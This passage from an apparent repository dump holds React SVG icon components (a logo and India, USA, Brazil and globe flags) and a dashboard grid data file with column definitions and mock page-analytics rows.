1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function IndiaFlag() {\n  return (\n    <SvgIcon>\n      <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" fill=\"none\">\n        <g clipPath=\"url(#a)\">\n          <mask\n            id=\"b\"\n            maskUnits=\"userSpaceOnUse\"\n            x=\"-4\"\n            y=\"0\"\n            width=\"32\"\n            height=\"24\"\n          >\n            <path d=\"M-4 0h32v24H-4V0Z\" fill=\"#fff\" />\n          </mask>\n          <g mask=\"url(#b)\">\n            <path\n              fillRule=\"evenodd\"\n              clipRule=\"evenodd\"\n              d=\"M-4 0v24h32V0H-4Z\"\n              fill=\"#F7FCFF\"\n            />\n            <mask\n              id=\"c\"\n              maskUnits=\"userSpaceOnUse\"\n              x=\"-4\"\n              y=\"0\"\n              width=\"32\"\n              height=\"24\"\n            >\n              <path\n                fillRule=\"evenodd\"\n                clipRule=\"evenodd\"\n                d=\"M-4 0v24h32V0H-4Z\"\n                fill=\"#fff\"\n              />\n            </mask>\n            <g mask=\"url(#c)\" fillRule=\"evenodd\" clipRule=\"evenodd\">\n              <path d=\"M-4 0v8h32V0H-4Z\" fill=\"#FF8C1A\" />\n              <path d=\"M-4 16v8h32v-8H-4Z\" fill=\"#5EAA22\" />\n              <path\n                d=\"M8 12a4 4 0 1 0 8 0 4 4 0 0 0-8 0Zm7 0a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z\"\n                fill=\"#3D58DB\"\n              />\n              <path\n                d=\"m12 12.9-.6 3 .4-3-1.5 2.8 1.2-3L9.4 15l2-2.4-2.8 1.6 2.6-1.8-3 .7 3-1H8l3.2-.2-3-1 3 .8-2.6-1.9 2.8 1.7-2-2.5 2.1 2.3-1.2-3 1.5 2.9-.4-3.2.6 3.2.6-3.2-.4 3.2 1.5-2.8-1.2 2.9L14.6 9l-2 2.5 2.8-1.7-2.6 1.9 3-.8-3 1 3.2.1-3.2.1 3 1-3-.7 2.6 1.8-2.8-1.6 2 2.4-2.1-2.3 1.2 3-1.5-2.9.4 3.2-.6-3.1Z\"\n                fill=\"#3D58DB\"\n              />\n            </g>\n          </g>\n        </g>\n        <defs>\n          <clipPath id=\"a\">\n            <rect width=\"24\" height=\"24\" rx=\"12\" fill=\"#fff\" />\n          </clipPath>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function UsaFlag() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"24\"\n        height=\"24\"\n        viewBox=\"0 0 24 24\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <g clipPath=\"url(#clip0_983_1725)\">\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 0H28V24H-4V0Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 14.6667V16.6667H28V14.6667H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 18.3333V20.3333H28V18.3333H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 7.33325V9.33325H28V7.33325H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 22V24H28V22H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 11V13H28V11H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 0V2H28V0H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 3.66675V5.66675H28V3.66675H-4Z\"\n            fill=\"#E31D1C\"\n          />\n          <path d=\"M-4 0H16V13H-4V0Z\" fill=\"#2E42A5\" />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-2.27876 2.93871L-3.00465 3.44759L-2.75958 2.54198L-3.4043 1.96807H-2.56221L-2.27978 1.229L-1.94861 1.96807H-1.23075L-1.79479 2.54198L-1.57643 3.44759L-2.27876 2.93871ZM1.72124 2.93871L0.995357 3.44759L1.24042 2.54198L0.595707 1.96807H1.43779L1.72022 1.229L2.05139 1.96807H2.76925L2.20521 2.54198L2.42357 3.44759L1.72124 2.93871ZM4.99536 3.44759L5.72124 2.93871L6.42357 3.44759L6.20517 2.54198L6.76927 1.96807H6.05137L5.72022 1.229L5.43779 1.96807H4.59571L5.24042 2.54198L4.99536 3.44759ZM9.72127 2.93871L8.99537 3.44759L9.24047 2.54198L8.59567 1.96807H9.43777L9.72027 1.229L10.0514 1.96807H10.7693L10.2052 2.54198L10.4236 3.44759L9.72127 2.93871ZM-3.00465 7.44759L-2.27876 6.93871L-1.57643 7.44759L-1.79479 6.54198L-1.23075 5.96807H-1.94861L-2.27978 5.229L-2.56221 5.96807H-3.4043L-2.75958 6.54198L-3.00465 7.44759ZM1.72124 6.93871L0.995357 7.44759L1.24042 6.54198L0.595707 5.96807H1.43779L1.72022 5.229L2.05139 5.96807H2.76925L2.20521 6.54198L2.42357 7.44759L1.72124 6.93871ZM4.99536 7.44759L5.72124 6.93871L6.42357 7.44759L6.20517 6.54198L6.76927 5.96807H6.05137L5.72022 5.229L5.43779 5.96807H4.59571L5.24042 6.54198L4.99536 7.44759ZM9.72127 6.93871L8.99537 7.44759L9.24047 6.54198L8.59567 5.96807H9.43777L9.72027 5.229L10.0514 5.96807H10.7693L10.2052 6.54198L10.4236 7.44759L9.72127 6.93871ZM-3.00465 11.4476L-2.27876 10.9387L-1.57643 11.4476L-1.79479 10.542L-1.23075 9.96807H-1.94861L-2.27978 9.229L-2.56221 9.96807H-3.4043L-2.75958 10.542L-3.00465 11.4476ZM1.72124 10.9387L0.995357 11.4476L1.24042 10.542L0.595707 9.96807H1.43779L1.72022 9.229L2.05139 9.96807H2.76925L2.20521 10.542L2.42357 11.4476L1.72124 10.9387ZM4.99536 11.4476L5.72124 10.9387L6.42357 11.4476L6.20517 10.542L6.76927 9.96807H6.05137L5.72022 9.229L5.43779 9.96807H4.59571L5.24042 10.542L4.99536 11.4476ZM9.72127 10.9387L8.99537 11.4476L9.24047 10.542L8.59567 9.96807H9.43777L9.72027 9.229L10.0514 9.96807H10.7693L10.2052 10.542L10.4236 11.4476L9.72127 10.9387ZM12.9954 3.44759L13.7213 2.93871L14.4236 3.44759L14.2052 2.54198L14.7693 1.96807H14.0514L13.7203 1.229L13.4378 1.96807H12.5957L13.2405 2.54198L12.9954 3.44759ZM13.7213 6.93871L12.9954 7.44759L13.2405 6.54198L12.5957 5.96807H13.4378L13.7203 5.229L14.0514 5.96807H14.7693L14.2052 6.54198L14.4236 7.44759L13.7213 6.93871ZM12.9954 11.4476L13.7213 10.9387L14.4236 11.4476L14.2052 10.542L14.7693 9.96807H14.0514L13.7203 9.229L13.4378 9.96807H12.5957L13.2405 10.542L12.9954 11.4476ZM-0.278763 4.93871L-1.00464 5.44759L-0.759583 4.54198L-1.40429 3.96807H-0.562213L-0.279783 3.229L0.0513873 3.96807H0.769247L0.205207 4.54198L0.423567 5.44759L-0.278763 4.93871ZM2.99536 5.44759L3.72124 4.93871L4.42357 5.44759L4.20521 4.54198L4.76925 3.96807H4.05139L3.72022 3.229L3.43779 3.96807H2.59571L3.24042 4.54198L2.99536 5.44759ZM7.72127 4.93871L6.99537 5.44759L7.24047 4.54198L6.59567 3.96807H7.43777L7.72027 3.229L8.05137 3.96807H8.76927L8.20517 4.54198L8.42357 5.44759L7.72127 4.93871ZM-1.00464 9.44759L-0.278763 8.93871L0.423567 9.44759L0.205207 8.54198L0.769247 7.96807H0.0513873L-0.279783 7.229L-0.562213 7.96807H-1.40429L-0.759583 8.54198L-1.00464 9.44759ZM3.72124 8.93871L2.99536 9.44759L3.24042 8.54198L2.59571 7.96807H3.43779L3.72022 7.229L4.05139 7.96807H4.76925L4.20521 8.54198L4.42357 9.44759L3.72124 8.93871ZM6.99537 9.44759L7.72127 8.93871L8.42357 9.44759L8.20517 8.54198L8.76927 7.96807H8.05137L7.72027 7.229L7.43777 7.96807H6.59567L7.24047 8.54198L6.99537 9.44759ZM11.7213 4.93871L10.9954 5.44759L11.2405 4.54198L10.5957 3.96807H11.4378L11.7203 3.229L12.0514 3.96807H12.7693L12.2052 4.54198L12.4236 5.44759L11.7213 4.93871ZM10.9954 9.44759L11.7213 8.93871L12.4236 9.44759L12.2052 8.54198L12.7693 7.96807H12.0514L11.7203 7.229L11.4378 7.96807H10.5957L11.2405 8.54198L10.9954 9.44759Z\"\n            fill=\"#F7FCFF\"\n          />\n        </g>\n        <defs>\n          <clipPath id=\"clip0_983_1725\">\n            <rect width=\"24\" height=\"24\" rx=\"12\" fill=\"white\" />\n          </clipPath>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\nexport function BrazilFlag() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"24\"\n        height=\"25\"\n        viewBox=\"0 0 24 25\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <g clipPath=\"url(#clip0_983_1741)\">\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M-4 0.5V24.5H28V0.5H-4Z\"\n            fill=\"#009933\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M11.9265 4.20404L24.1283 12.7075L11.7605 20.6713L-0.191406 12.5427L11.9265 4.20404Z\"\n            fill=\"#FFD221\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M11.9265 4.20404L24.1283 12.7075L11.7605 20.6713L-0.191406 12.5427L11.9265 4.20404Z\"\n            fill=\"url(#paint0_linear_983_1741)\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M12 17.7C14.7614 17.7 17 15.4614 17 12.7C17 9.93853 14.7614 7.69995 12 7.69995C9.2386 7.69995 7 9.93853 7 12.7C7 15.4614 9.2386 17.7 12 17.7Z\"\n            fill=\"#2E42A5\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M10.379 15.07L10.1556 15.1874L10.1983 14.9387L10.0176 14.7626L10.2673 14.7263L10.379 14.5L10.4907 14.7263L10.7404 14.7626L10.5597 14.9387L10.6024 15.1874L10.379 15.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M12.379 15.07L12.1556 15.1874L12.1983 14.9387L12.0176 14.7626L12.2673 14.7263L12.379 14.5L12.4907 14.7263L12.7404 14.7626L12.5597 14.9387L12.6024 15.1874L12.379 15.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M12.379 16.27L12.1556 16.3874L12.1983 16.1387L12.0176 15.9625L12.2673 15.9262L12.379 15.7L12.4907 15.9262L12.7404 15.9625L12.5597 16.1387L12.6024 16.3874L12.379 16.27Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M11.379 12.07L11.1556 12.1874L11.1983 11.9387L11.0176 11.7626L11.2673 11.7263L11.379 11.5L11.4907 11.7263L11.7404 11.7626L11.5597 11.9387L11.6024 12.1874L11.379 12.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M11.379 14.07L11.1556 14.1874L11.1983 13.9387L11.0176 13.7626L11.2673 13.7263L11.379 13.5L11.4907 13.7263L11.7404 13.7626L11.5597 13.9387L11.6024 14.1874L11.379 14.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M9.97859 13.07L9.75519 13.1874L9.79789 12.9387L9.61719 12.7626L9.86689 12.7263L9.97859 12.5L10.0903 12.7263L10.34 12.7626L10.1593 12.9387L10.2019 13.1874L9.97859 13.07Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M8.5783 13.87L8.3549 13.9875L8.3976 13.7388L8.2168 13.5626L8.4666 13.5263L8.5783 13.3L8.6899 13.5263L8.9397 13.5626L8.759 13.7388L8.8016 13.9875L8.5783 13.87Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            fillRule=\"evenodd\"\n            clipRule=\"evenodd\"\n            d=\"M13.1798 10.47L12.9565 10.5875L12.9991 10.3387L12.8184 10.1626L13.0682 10.1263L13.1798 9.90002L13.2915 10.1263L13.5413 10.1626L13.3605 10.3387L13.4032 10.5875L13.1798 10.47Z\"\n            fill=\"#F7FCFF\"\n          />\n          <path\n            d=\"M7 12L7.5 10C11.6854 10.2946 14.6201 11.2147 17 13.5L16.5 15C14.4373 13.0193 10.7839 12.2664 7 12Z\"\n            fill=\"#F7FCFF\"\n          />\n        </g>\n        <defs>\n          <linearGradient\n            id=\"paint0_linear_983_1741\"\n            x1=\"27.9997\"\n            y1=\"24.5\"\n            x2=\"27.9997\"\n            y2=\"0.5\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#FFC600\" />\n            <stop offset=\"1\" stopColor=\"#FFDE42\" />\n          </linearGradient>\n          <clipPath id=\"clip0_983_1741\">\n            <rect y=\"0.5\" width=\"24\" height=\"24\" rx=\"12\" fill=\"white\" />\n          </clipPath>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function GlobeFlag() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"24\"\n        height=\"25\"\n        viewBox=\"0 0 24 25\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <g clipPath=\"url(#clip0_986_1789)\">\n          <circle cx=\"12\" cy=\"12.5\" r=\"12\" fill=\"#007FFF\" />\n          <path\n            d=\"M12 0.5C5.376 0.5 0 5.876 0 12.5C0 19.124 5.376 24.5 12 24.5C18.624 24.5 24 19.124 24 12.5C24 5.876 18.624 0.5 12 0.5ZM10.8 22.016C6.06 21.428 2.4 17.396 2.4 12.5C2.4 11.756 2.496 11.048 2.652 10.352L8.4 16.1V17.3C8.4 18.62 9.48 19.7 10.8 19.7V22.016ZM19.08 18.968C18.768 17.996 17.88 17.3 16.8 17.3H15.6V13.7C15.6 13.04 15.06 12.5 14.4 12.5H7.2V10.1H9.6C10.26 10.1 10.8 9.56 10.8 8.9V6.5H13.2C14.52 6.5 15.6 5.42 15.6 4.1V3.608C19.116 5.036 21.6 8.48 21.6 12.5C21.6 14.996 20.64 17.264 19.08 18.968Z\"\n            fill=\"#3EE07F\"\n          />\n        </g>\n        <defs>\n          <clipPath id=\"clip0_986_1789\">\n            <rect width=\"24\" height=\"24\" fill=\"white\" transform=\"translate(0 0.5)\" />\n          </clipPath>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/dashboard/internals/data/gridData.js",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Chip from '@mui/material/Chip';\n\nimport { SparkLineChart } from '@mui/x-charts/SparkLineChart';\n\nfunction getDaysInMonth(month, year) {\n  const date = new Date(year, month, 0);\n  const monthName = date.toLocaleDateString('en-US', {\n    month: 'short',\n  });\n  const daysInMonth = date.getDate();\n  const days = [];\n  let i = 1;\n  while (days.length < daysInMonth) {\n    days.push(`${monthName} ${i}`);\n    i += 1;\n  }\n  return days;\n}\n\nfunction renderSparklineCell(params) {\n  const data = getDaysInMonth(4, 2024);\n  const { value, colDef } = params;\n\n  if (!value || value.length === 0) {\n    return null;\n  }\n\n  return (\n    <div style={{ display: 'flex', alignItems: 'center', height: '100%' }}>\n      <SparkLineChart\n        data={value}\n        width={colDef.computedWidth || 100}\n        height={32}\n        plotType=\"bar\"\n        showHighlight\n        showTooltip\n        color=\"hsl(210, 98%, 42%)\"\n        xAxis={{\n          scaleType: 'band',\n          data,\n        }}\n      />\n    </div>\n  );\n}\n\nfunction renderStatus(status) {\n  const colors = {\n    Online: 'success',\n    Offline: 'default',\n  };\n\n  return <Chip label={status} color={colors[status]} size=\"small\" />;\n}\n\nexport function renderAvatar(params) {\n  if (params.value == null) {\n    return '';\n  }\n\n  return (\n    <Avatar\n      sx={{\n        backgroundColor: params.value.color,\n        width: '24px',\n        height: '24px',\n        fontSize: '0.85rem',\n      }}\n    >\n      {params.value.name.toUpperCase().substring(0, 1)}\n    </Avatar>\n  );\n}\n\nexport const columns = [\n  { field: 'pageTitle', headerName: 'Page Title', flex: 1.5, minWidth: 200 },\n  {\n    field: 'status',\n    headerName: 'Status',\n    flex: 0.5,\n    minWidth: 80,\n    renderCell: (params) => renderStatus(params.value),\n  },\n  {\n    field: 'users',\n    headerName: 'Users',\n    headerAlign: 'right',\n    align: 'right',\n    flex: 1,\n    minWidth: 80,\n  },\n  {\n    field: 'eventCount',\n    headerName: 'Event Count',\n    headerAlign: 'right',\n    align: 'right',\n    flex: 1,\n    minWidth: 100,\n  },\n  {\n    field: 'viewsPerUser',\n    headerName: 'Views per User',\n    headerAlign: 'right',\n    align: 'right',\n    flex: 1,\n    minWidth: 120,\n  },\n  {\n    field: 'averageTime',\n    headerName: 'Average Time',\n    headerAlign: 'right',\n    align: 'right',\n    flex: 1,\n    minWidth: 100,\n  },\n  {\n    field: 'conversions',\n    headerName: 'Daily Conversions',\n    flex: 1,\n    minWidth: 150,\n    renderCell: renderSparklineCell,\n  },\n];\n\nexport const rows = [\n  {\n    id: 1,\n    pageTitle: 'Homepage Overview',\n    status: 'Online',\n    eventCount: 8345,\n    users: 212423,\n    viewsPerUser: 18.5,\n    averageTime: '2m 15s',\n    conversions: [\n      469172, 488506, 592287, 617401, 640374, 632751, 668638, 807246, 749198, 944863,\n      911787, 844815, 992022, 1143838, 1446926, 1267886, 1362511, 1348746, 1560533,\n      1670690, 1695142, 1916613, 1823306, 1683646, 2025965, 2529989, 3263473,\n      3296541, 3041524, 2599497,\n    ],\n  },\n  {\n    id: 2,\n    pageTitle: 'Product Details - Gadgets',\n    status: 'Online',\n    eventCount: 5653,\n    users: 172240,\n    viewsPerUser: 9.7,\n    averageTime: '2m 30s',\n    conversions: [\n      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n      557488, 1341471, 2044561, 2206438,\n    ],\n  },\n  {\n    id: 3,\n    pageTitle: 'Checkout Process - Step 1',\n    status: 'Offline',\n    eventCount: 3455,\n    users: 58240,\n    viewsPerUser: 15.2,\n    averageTime: '2m 10s',\n    conversions: [\n      166896, 190041, 248686, 226746, 261744, 271890, 332176, 381123, 396435, 495620,\n      520278, 460839, 704158, 559134, 681089, 712384, 765381, 771374, 851314, 907947,\n      903675, 1049642, 1003160, 881573, 1072283, 1139115, 1382701, 1395655, 1355040,\n      1381571,\n    ],\n  },\n  {\n    id: 4,\n    pageTitle: 'User Profile Dashboard',\n    status: 'Online',\n    eventCount: 112543,\n    users: 96240,\n    viewsPerUser: 4.5,\n    averageTime: '2m 40s',\n    conversions: [\n      264651, 311845, 436558, 439385, 520413, 533380, 562363, 533793, 558029, 791126,\n      649082, 566792, 723451, 737827, 890859, 935554, 1044397, 1022973, 1129827,\n      1145309, 1195630, 1358925, 1373160, 1172679, 1340106, 1396974, 1623641,\n      1687545, 1581634, 1550291,\n    ],\n  },\n  {\n    id: 5,\n    pageTitle: 'Article Listing - Tech News',\n    status: 'Offline',\n    eventCount: 3653,\n    users: 142240,\n    viewsPerUser: 3.1,\n    averageTime: '2m 55s',\n    conversions: [\n      251871, 262216, 402383, 396459, 378793, 406720, 447538, 451451, 457111, 589821,\n      640744, 504879, 626099, 662007, 754576, 768231, 833019, 851537, 972306,\n      1014831, 1027570, 1189068, 1119099, 987244, 1197954, 1310721, 1480816, 1577547,\n      1854053, 1791831,\n    ],\n  },\n  {\n    id: 6,\n    pageTitle: 'FAQs - Customer Support',\n    status: 'Online',\n    eventCount: 106543,\n    users: 15240,\n    viewsPerUser: 7.2,\n    averageTime: '2m 20s',\n    conversions: [\n      13671, 16918, 27272, 34315, 42212, 56369, 64241, 77857, 70680, 91093, 108306,\n      94734, 132289, 133860, 147706, 158504, 192578, 207173, 220052, 233496, 250091,\n      285557, 268555, 259482, 274019, 321648, 359801, 399502, 447249, 497403,\n    ],\n  },\n  {\n    id: 7,\n    pageTitle: 'Product Comparison - Laptops',\n    status: 'Offline',\n    eventCount: 7853,\n    users: 32240,\n    viewsPerUser: 6.5,\n    averageTime: '2m 50s',\n    conversions: [\n      93682, 107901, 144919, 151769, 170804, 183736, 201752, 219792, 227887, 295382,\n      309600, 278050, 331964, 356826, 404896, 428090, 470245, 485582, 539056, 582112,\n      594289, 671915, 649510, 574911, 713843, 754965, 853020, 916793, 960158, 984265,\n    ],\n  },\n  {\n    id: 8,\n    pageTitle: 'Shopping Cart - Electronics',\n    status: 'Online',\n    eventCount: 8563,\n    users: 48240,\n    viewsPerUser: 4.3,\n    averageTime: '3m 10s',\n    conversions: [\n      52394, 63357, 82800, 105466, 128729, 144472, 172148, 197919, 212302, 278153,\n      290499, 249824, 317499, 333024, 388925, 410576, 462099, 488477, 533956, 572307,\n      591019, 681506, 653332, 581234, 719038, 783496, 911609, 973328, 1056071,\n      1112940,\n    ],\n  },\n  {\n    id: 9,\n    pageTitle: 'Payment Confirmation - Bank Transfer',\n    status: 'Offline',\n    eventCount: 4563,\n    users: 18240,\n    viewsPerUser: 2.7,\n    averageTime: '3m 25s',\n    conversions: [\n      15372, 16901, 25489, 30148, 40857, 51136, 64627, 75804, 89633, 100407, 114908,\n      129957, 143568, 158509, 174822, 192488, 211512, 234702, 258812, 284328, 310431,\n      338186, 366582, 396749, 428788, 462880, 499125, 537723, 578884, 622825,\n    ],\n  },\n  {\n    id: 10,\n    pageTitle: 'Product Reviews - Smartphones',\n    status: 'Online',\n    eventCount: 9863,\n    users: 28240,\n    viewsPerUser: 5.1,\n    averageTime: '3m 05s',\n    conversions: [\n      70211, 89234, 115676, 136021, 158744, 174682, 192890, 218073, 240926, 308190,\n      317552, 279834, 334072, 354955, 422153, 443911, 501486, 538091, 593724, 642882,\n      686539, 788615, 754813, 687955, 883645, 978347, 1142551, 1233074, 1278155,\n      1356724,\n    ],\n  },\n  {\n    id: 11,\n    pageTitle: 'Subscription Management - Services',\n    status: 'Offline',\n    eventCount: 6563,\n    users: 24240,\n    viewsPerUser: 4.8,\n    averageTime: '3m 15s',\n    conversions: [\n      49662, 58971, 78547, 93486, 108722, 124901, 146422, 167883, 189295, 230090,\n      249837, 217828, 266494, 287537, 339586, 363299, 412855, 440900, 490111, 536729,\n      580591, 671635, 655812, 576431, 741632, 819296, 971762, 1052605, 1099234,\n      1173591,\n    ],\n  },\n  {\n    id: 12,\n    pageTitle: 'Order Tracking - Shipments',\n    status: 'Online',\n    eventCount: 12353,\n    users: 38240,\n    viewsPerUser: 3.5,\n    averageTime: '3m 20s',\n    conversions: [\n      29589, 37965, 55800, 64672, 77995, 91126, 108203, 128900, 148232, 177159,\n      193489, 164471, 210765, 229977, 273802, 299381, 341092, 371567, 413812, 457693,\n      495920, 564785, 541022, 491680, 618096, 704926, 833365, 904313, 974622,\n      1036567,\n    ],\n  },\n  {\n    id: 13,\n    pageTitle: 'Customer Feedback - Surveys',\n    status: 'Offline',\n    eventCount: 5863,\n    users: 13240,\n    viewsPerUser: 2.3,\n    averageTime: '3m 30s',\n    conversions: [\n      8472, 9637, 14892, 19276, 23489, 28510, 33845, 39602, 45867, 52605, 59189,\n      65731, 76021, 85579, 96876, 108515, 119572, 131826, 145328, 160192, 176528,\n      196662, 217929, 239731, 262920, 289258, 315691, 342199, 370752, 402319,\n    ],\n  },\n  {\n    id: 14,\n    pageTitle: 'Account Settings - Preferences',\n    status: 'Online',\n    eventCount: 7853,\n    users: 18240,\n    viewsPerUser: 3.2,\n    averageTime: '3m 15s',\n    conversions: [\n      15792, 16948, 22728, 25491, 28412, 31268, 34241, 37857, 42068, 46893, 51098,\n      55734, 60780, 66421, 72680, 79584, 87233, 95711, 105285, 115814, 127509,\n      140260, 154086, 169495, 186445, 205109, 225580, 247983, 272484, 299280,\n    ],\n  },\n  {\n    id: 15,\n    pageTitle: 'Login Page - Authentication',\n    status: 'Offline',\n    eventCount: 9563,\n    users: 24240,\n    